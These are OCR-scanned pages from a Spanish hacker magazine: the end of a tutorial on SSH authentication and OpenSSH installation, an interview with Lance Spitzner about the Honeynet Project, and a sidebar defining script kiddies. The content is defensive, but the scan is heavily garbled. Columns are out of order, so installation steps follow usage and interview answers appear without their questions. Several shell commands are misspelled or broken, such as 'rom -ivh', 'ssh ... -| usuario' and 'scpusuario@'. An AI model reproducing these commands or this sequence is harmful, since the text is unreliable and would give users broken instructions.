y se pasa a la fase de autentificacion.

\ - - > AuTeNtificaCioN< - - /

Cuando un usuario prueba conectarse a
un sistema remoto, la autentificacién puede
ser de difetente manera:

* RhostsAuthentication

Prevé que si el sistema del cual el usuario
prueba la conexidén venga registrado en un
archivo /etc/hosts.equiv, /etc/ssh/shosts.equiv,
$HOME/. rhosts, SHOME/.shosts, el acceso
es consentido sin una password. Porque és-
te método comporta una limitada protfec-
cién hacia los tentativos de spoofing, esto es
descartado por default.

* RhostsRSAAuthentication

Este método es la combinacién entre lo
precedente y una autentificacion basada en
un sistema RSA. En prdctico el acceso es
consentido del archivo /etc/hosts.equiv |,
/etc/ssh/shosts.equiv , SHOME/.rhosts |,
$HOME/ shosts y ademds esta presente en
el archivo /etc/ssh_known_hosts o también
$HOME/. ssh/known_hosts la llave que
identifica al cliente que esta probando la
conexién, entonces el acceso es conseritido.

* RSAAuthenticetion
Este método se basa en un sistema de llo-
ves publicas y privadas Rsa. A cada usuario
son asociadas dos llaves utilizadas para la au-
tentificacién, una poblica (almacenada en el
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DNS: Doman Name Server

Server Infernet que gestiona las
solicitudes de URL de parte de los
usuarios. Cada ISP tiene un DNS.

cién en nuestra linux-box. En este articulo
utilizaremos OpenSSH
(www.openssh.com), una versién free de
ssh, compatible con los 2 protocolos ssh1 y
ssh2.

Para poder ufilizar openshh es necesario

haber instalado OpenSSL
(www.openssl.com) y las librerias Zlib
(www.gzip.org/zlib/).

Todos estos software estdn disponibles sea
en formato RPM asi como en tar.gz. Pode-
mos instalar los paquetes con los siguientes
comandos:

[root@roof]$ ssh host.dominio.es

De este modo se prueba la conexién con
el usuario por defecto del cliente.
Para conectarse con nuestro usuario:

[root@root]$ ssh usuario@host.dominio.es
o también
[root@roof]$ ssh host.dominio.es -| usuario

Si efectudis la conexién tramite modem,
tenéis la posibilidad de ser mds répidos con
la compresién de los datos, con el siguiente
comando:

[root@roof]$ ssh -C usuario@host.dominio.es

Con ssh es posible efectuar lo transmision
de archivo en manera segura en la red. El
comando para hacer esto es ‘scp’ que fun-
ciona en manera similar al cp de linux. Por
ejemplo para transferir un archivo o un sis-
fema remoto se utiliza el siguiente mensaje:

archivo $HOME/.ssh/idenﬁfy.pub) y una pri-
vada (almacenada  en ol archivo
SHOME/.ssh/identity). En fase de autentifica-
cién el cliente provee la llave publica con la
cual prueba la conexién,

El server controla al inferno del archivo
$HOME/.ssh/authorized_keys que esté pre-
sente la llave enviada ol cliente, en tal caso,
envia ol cliente un challenge (nbmero casual
encriptado, usando la llave pUblica del clien-
fe). El cliente descripta el challenge con la llo-
ve privada del usuario y da comunicacién al
server, demostrando asf de tener |q llave pri-
vada, osf el usuario puede acceder sin Iq
password,

Si ninguno de estos métodos anfes ex-
puestos tiene éxito, la autentificacion viene
efectuada con la peticién al usuario de una
password que también viene encriptada.

Después de haber tratado los aspectos
tedricos en los que se basa ssh, veamos
como  procede la instalacién y configura-

[root@root]$ rom -ivh pakketto.rpm
[root@root]$ tar xfvz pakketto.tar.gz
[root@root]$ cd pakketto
[root@root]$ ./configure
[root@root]$ make && make install

[root@root]$ scp /home/vicio/ssh.txt
usuario@hosf.dominio.es:/nfzcrew/fuforial

Y para ejecutar lo contrario:

[root@roof]$ scpusuario@host.dominio.es:
/nfzcrew/tutorial/ssh.txt/home vicio

Una vez instalado openss| y los librerfas
zlib podemos proceder a lq instalacién de
openssh. Si utilizan el paqguete rpm el traba-
jo serd més simple,, nosotros usaremos el
tar.gz

[root@root]$ tar xfyz openssh-2.9.tar.gz
[root@root]$ cd openssh-2.9p2
[root@root]$ ./configure —sysconf
dir=/etc/ssh

[root@root]$ make

[root@root]$ make install

[root@root]$ make host-key

Con el comando - - sysconfdir' declara-
mos a ssh de utilizar como directorio para
los archivo de instalacion /etc/ssh en vez de
aquella de default /usr/local/etc.

Con el comando “host-key" creamos los
host keyRSA y DSA. Llegados a este punto,
pard probarlo es suficiente lanzar el demo.

nio sshd con el comando:

Para personalizar el funcionamiento de
ssh es posible modificar algunos ficheros de
configuracién. En particular, para modificar
las opciones del cliente ssh el fichero a mo-
dificar es /etc/ssh/ssh_config.

Modificando este archivo se podré modi-
ficar la modalidad de funcionamiento del
cliente para todos los usuarios. Si se quiere
personalizar el cliente para cada usuario
bastard copiar el fichero en [q home de ca-
da uno de ellos, y mds precisamente en
$HOME/.ssh/ssh_config procediendo des-
pués con la modificacion.

Si se quiere modificar el funcionamiento
del demonio sshd el fichero a modificar es
/etc/ssh/sshd_config. Por ejemplo si se quie-
re quitar el acceso al usuario root tramite
ssh, basta agregar a tal ficheri Iq linea:

PermitRootLogin no

[root@root]$ sshd start

Para conectarse a un sistema remoto con
Ssh utilizamos el comando:

Openssh es un instrumento muy flexible,
para aprender a usarlo mejor se aconseja
leer su documentacién.

Si queréis un sistema “seguro” habéis da-
do el primer paso... &

Lordvicio
lordvicio@hotmail.com

www.hacker-journal.com | 29




UN OFICIAL CONTRA LOS “PIRATAS”

Firewall: cortafuegos. Es un conjunto
de software/hardware que se usa para
® filtrar los datos de intercambio entre
diferentes redes, con la finalidad de
proteger un servidor de ataques a través
de la red local o a fravés de Internet.

DE LA RED

HJ, gracias a la valiosa colaboracion de la pagina Securitylinfos

(www.securityinfos.com), ha podido entrevistar en exclusiva a Lance Spitzner,

creador del proyecto Honey

Wlater
JE 1S

i

pués del ejército me licencié en econé-

micas y empresariales; mientras estu- |
diaba empecé a trabajar en el campo |
de la information tecnology y decidi |

convertirme en un geek. Asi que me es-
pecialicé en el campo de los ordenado-

res y dirigi mis pasos hacia la seguridad |

informdtica. Desde 1997 me ocupo

| principalmente de seguridad. Mi trayec-
| foria comenzé con los firewalls (corta-
fuegos) y he instalado soluciones fire- |

wall para empresas de todo el mundo
Esto ha hecho aumentar notablemente
mis capacidades sea en el dmbito del

networking que en seguridad. En los Ul- |

Estuve siete afos en el ejército ame- |
ricano, cuatro como oficial de la fuerza |
Rapid Deployment. Fue una experiencia |
muy importante para mi, aprendi que |
hay muchas similitudes entre la batalla |
confra enemigos con carros de comba- |
te y su combate en el ciberespacio. Des- |

|

timos 3 afios he focalizado mis investi- |

;

gaciones en las tecnologias honeypot, y
especificamente, en los honeypots con |

fines de investigacion para entender |

qué empuja a un attacker a comprome- |

| porqué realiza determinadas acciones.

| mm a los paquetes IPV4.

i campo de o seguricoc’y

Es muy parecido a mis experiencias en
terreno militar. Nuestra mision es defen-
dernos de los atacantes. Hay muchas tdcti-

| cas en juego, sélo cambian las armas, de

los carros armados con disparos de 120

| ter un sistema. Quién es el attacker y |

net

Es una idea que evolucion6 con el

' tiempo hasta convertirse en un proyecto.
. En marzo de 1999 empecé a familiari- |
| zarme con los conceptos bésicos de una
' Honeynet, comencé a introducir una serie |
'\ de sistemas detrés de los firewalls para
| ser atacado. A medida que las méquinas
" iban siendo comprometidas, pedi ayuda |
0 varios expertos en seguridad a nivel

mundial (Marty Roesch, Chris Brento,

Fyodor, etc),,,Este grupo fue creciendo |
hasta crear una mailing list. En junio del |
| 2000, después de que uno de nuestros
sistemas fue comprometido, empezamos

a utilizar oficialmente el nombre de pro-
yecto “Honeynet”. El proyecto no tiene
una fecha de caducidad prefijada, mds

bien dejamos que siga su curso. Nosotros |
no dirigimos el proyecto, es el proyecto |
quien nos dirige. , .
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Uff, demasiadas, més o menos 20 horas a
la semana de mi fiempo libre (inoches y fi-

| nes de semana incluidos!).

Especificamente hablando, la Honey-
net Research Alliance es un forum para
las organizaciones a nivel mundial, para

. desarrollar y investigar sobre el tema de
| los honeynets. Todas las asociaciones
| son bienvenidas siempre que cumplan

los requisitos necesarios. Por el momen-

 to contamos con 10 miembros, con ho-

' neynets en todo el mundo. Se puede en-
contrar mds informacién visitando direc-

| tamente la pdgina: hitp://project.honey-
net.org/alliance/
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LS: Dudo seriomente que logremos tener
productos comerciales, serfan demasiado
complejos y costosos. Creo, sin embargo,
que los honeynets se utilizarén para fines in-
vestigativos y de inteligencia limitando de es-
fe modo su uso a las Universidades, a los
6rganos gubernamentales, a las,,
organizaciones militares y - a
grupos de investigacién en el
campo de la seguridad. Mien-
tras las Honeynets continden de-
mostrando su valor, habré siem-
pre mds organizaciones que
adopten y utilicen estas tecnolo-| * "

gias. 073

En esto los honeypots son Uni-

El proceso de incident response de un
- honeypot es muy diferente respecto a un
proceso normal de incident response.

Con un honeypot que tiene como Unica
finalidad la investigacién, lo que se preten-
de es comprender las técnicas de los ma-

cos, tienen muchas variables, depende de

cémo los utilices. Para el “security process”, |
su valor principal consiste en reconocer los
ataques. Ya existen muchos productos en el |
mercado que poseen esta funcién como |

ManTrap, Specter, y Smoke Detector.

Para saber todavia més acerca del valor |

de los honeypots se puede consultar la url:
http://www.tracking-hackers.com

Les dirfa que no comenzaran con los ho-

L] .
neypots o las honeynets, sino que empeza- |
ran entendiendo las bases. Es decir, entender |

el hardening de una méquina, el networking

y como funciona el protocolo IR Después de |
ésto es posible meterse en tecnologias como |
los firewalls, los IDS, los honeypots y la |
encyrption. Uno de mis lugares preferidos |

para iniciarse es:
hitp://www.linux-security.com

| los. Es decir cuando un honeypot se ve |

comprometido, la fase de response con- |
| siste en observar y entender que estd su- |

cediendo. Después se captura todo el flu-
jo de datos incluidos los comandos y las

' chats IRC.

Normalmente lo hacemos en modo
que quién compromete el honeypot man-
tenga el control hasta que no se han al-
canzado uno de los dos siguientes crite-

| rios: No podemos aprender nada mads
| sobre las técnicas usadas por el attacker,

El attacker esté atacando o destruyendo
otros sistemas no honeypot. Una vez que

el ataque se ha completado, escribimos |
un informe técnico sobre lo que efectiva- |

mente ha sucedido.

iSeguramente! Nuestro equipo empezard

| pronto a frabajar en ello. Tenemos muchisi-
' mo material que afiadir. La tecnologia ho- |
| neynet estd progresando muy répidamente y |

| imorimos de ganas de empezar!. €
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BIOGRAFIA

Lance Spitzner se

divierte aprendiendo y
manipulado sus

sistemas Unix en casa.

Antes, era oficial de

la Fuerzas de Intervencién
Rapida (http://www.enteract.com/-
| 1spitz/officer.html), dénde

| también manipulava cosas de

| diferente naturaleza. Puedes
‘ponerte en contacto con él en:
| lance@spitzner.net

| Su libro mds conocido es:

| “Conoce a tu enemigo” donde

| Spitzner trata la amenaza:

| Script Kiddie.

| FRASE CELEBRE

| “Mi comandante solia decirme
‘que para defenderse de un
§enemigo, era necesario

| conocerlo. Este concepto

| militar se puede aplicar

| facilmente al mundo de la

| sequridad en la Red”

| SCRIPT KIDDIE

| E1 script kiddie es alguien que

| estd buscando una intrusién

jfécil. No buscan informaciones

| concretas y tampoco buscan una

| compania particular.

| Su objetivo consiste en obtener

| los privilegios de root del modo

| mds facil posible. Para

| consequirlo se concentran en un

ipequeﬁo nimero de

| vulnerabilidades, y buscan por

| toda la red.

| Algunos son usuarios expertos

| capaces de crear ellos solos sus

| propios instrumentos software

| (tools) y dejan tras de si

| sofisticadas “puertas de

| servicio” (backdoors). Otros no

| tienen ni idea de lo que estan

| haciendo y sélo saben como
teclear “start” al prompt de los

| comandos. ¥
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